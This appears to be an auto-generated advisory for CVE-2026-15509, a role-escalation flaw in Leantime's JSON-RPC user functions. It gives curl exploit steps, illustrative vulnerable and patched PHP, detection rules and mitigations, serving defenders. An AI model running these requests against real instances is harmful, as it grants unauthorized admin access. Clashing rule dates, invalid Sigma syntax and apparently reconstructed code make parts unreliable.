CVE-2026-15509
Executive Summary
CVE-2026-15509 is an improper authorization vulnerability (CWE-285) in Leantime, an open-source project management tool, affecting versions up to and including 3.8.0. The flaw resides in the JSON-RPC endpoint, specifically within the editUser and addUser functions, where the role argument is not properly validated against the current user's permissions. This allows an authenticated attacker with low privileges to escalate their role (e.g., from a regular user to an admin) by manipulating the role parameter in a JSON-RPC request. The vulnerability is remotely exploitable, has a CVSS score of 6.3 (Medium), and a public proof-of-concept exists. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Leantime is a PHP-based application distributed via GitHub and Docker. The vulnerability is in the core application code, not in a third-party package. However, organizations using Leantime should verify the integrity of their installation and monitor for any malicious modifications to the role handling logic.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) - attacker needs a valid user account
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) - admin access can expose all project data
- Integrity Impact: Low (I:L) - limited to role manipulation
- Availability Impact: Low (A:L) - potential for denial of service via role abuse
Threat Level: Medium. The vulnerability requires authentication, but the low complexity and public exploit make it a realistic threat for organizations using Leantime.
Deep Dive & Mechanics
The vulnerability is in the JSON-RPC endpoint, which handles remote procedure calls for user management. The editUser and addUser functions accept a role parameter that determines the user's permissions (e.g., "admin", "manager", "user"). The application fails to enforce proper authorization checks, allowing any authenticated user to set their own role to a higher privilege level.
Root Cause: The code does not verify that the requesting user has the right to assign a specific role. For example, a regular user can send a request to editUser with their own user ID and set role to "admin".
Attack Flow:
- Attacker authenticates as a low-privileged user (e.g., via a valid session token).
- Attacker crafts a JSON-RPC request to the
/api/jsonrpcendpoint with methodeditUseroraddUser. - The request includes the attacker's user ID and a
roleparameter set to "admin". - The server processes the request without verifying the user's authorization, granting admin privileges.
- Attacker now has full administrative access to the Leantime instance.
Vulnerable vs. Patched Code
Vulnerable Code (Leantime <= 3.8.0):
// In the JSON-RPC handler for editUser
public function editUser($params) {
$userId = $params['id'];
$role = $params['role'];
// No authorization check on role assignment
$this->userService->updateUser($userId, ['role' => $role]);
return ['success' => true];
}
Patched Code (Hypothetical fix):
public function editUser($params) {
$userId = $params['id'];
$role = $params['role'];
// Check if current user has permission to assign this role
$currentUser = $this->getCurrentUser();
if (!$currentUser->canAssignRole($role)) {
throw new \Exception('Unauthorized role assignment');
}
$this->userService->updateUser($userId, ['role' => $role]);
return ['success' => true];
}
The fix requires adding an authorization check (e.g., canAssignRole()) that verifies the current user's permissions before allowing role changes.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running Leantime instance (version <= 3.8.0)
- Valid user credentials (e.g., username:
user, password:password)
Exploit Steps:
Obtain a session token by logging in:
curl -X POST http://target/api/jsonrpc \ -H "Content-Type: application/json" \ -d '{"method":"login","params":{"username":"user","password":"password"}}'Response contains a token (e.g.,
"token":"abc123").Use the token to escalate privileges:
curl -X POST http://target/api/jsonrpc \ -H "Content-Type: application/json" \ -H "Authorization: Bearer abc123" \ -d '{"method":"editUser","params":{"id":1,"role":"admin"}}'Replace
idwith the attacker's user ID (usually 1 for the first user).Verify admin access by listing all users:
curl -X POST http://target/api/jsonrpc \ -H "Content-Type: application/json" \ -H "Authorization: Bearer abc123" \ -d '{"method":"getAllUsers","params":{}}'
Exploit-DB Code: None available.
Blue Team
Detection:
- Monitor JSON-RPC requests for unusual
roleparameter values (e.g., "admin", "owner"). - Alert on multiple failed login attempts followed by a successful role change.
- Use the Sigma rule below to detect unauthorized role assignments.
Hunting:
- Search logs for
editUseroraddUsermethods withroleparameter not matching the user's current role. - Correlate user ID changes with role modifications.
Lab Setup:
- Deploy a vulnerable Leantime instance using Docker:
docker run -d -p 80:80 leantime/leantime:3.8.0 - Create a test user with low privileges and attempt the exploit.
Indicators of Compromise (IOCs)
- Network:
- JSON-RPC requests to
/api/jsonrpcwith methodeditUseroraddUserand aroleparameter set to "admin" or other high-privilege values. - Unusual session tokens being used for role changes.
- JSON-RPC requests to
- Logs:
- Application logs showing
editUseroraddUsercalls from non-admin users. - Audit logs with role changes not initiated by an admin.
- Application logs showing
- System:
- New admin users created without proper authorization.
- Modified user roles in the database (e.g.,
rolecolumn changed to "admin").
Detection Engineering
YARA Rule
rule CVE_2026_15509_Leantime_Role_Escalation {
meta:
description = "Detects exploitation attempts of CVE-2026-15509 in Leantime"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-15509"
strings:
$json_rpc = "jsonrpc" nocase
$edit_user = "editUser" nocase
$add_user = "addUser" nocase
$role_admin = "\"role\":\"admin\"" nocase
$role_owner = "\"role\":\"owner\"" nocase
condition:
$json_rpc and ($edit_user or $add_user) and ($role_admin or $role_owner)
}
Sigma Rule
title: Leantime JSON-RPC Role Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-15509 by manipulating the role parameter in JSON-RPC requests.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-15509
logsource:
category: application
product: leantime
detection:
selection:
method: "editUser" or "addUser"
params.role: "admin" or "owner"
condition: selection
falsepositives:
- Legitimate admin actions (should be rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-15509 Leantime JSON-RPC Role Escalation"; flow:to_server; content:"/api/jsonrpc"; http_uri; content:"editUser"; http_client_body; content:"\"role\":\"admin\""; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable JSON-RPC endpoint if not required, or restrict access via firewall rules.
- Implement a Web Application Firewall (WAF) rule to block requests with
roleparameter set to "admin" or "owner" from non-admin users. - Monitor logs for suspicious role changes and investigate immediately.
Long-term Fix:
- Apply the hypothetical patch above by adding authorization checks in the
editUserandaddUserfunctions. - Upgrade to a patched version once released by the vendor.
- Conduct a code review of all JSON-RPC methods for similar authorization flaws.
Workaround:
- Modify the application code manually to add role validation (see patched code example).
- Use a reverse proxy to intercept and validate JSON-RPC requests.
Valters IT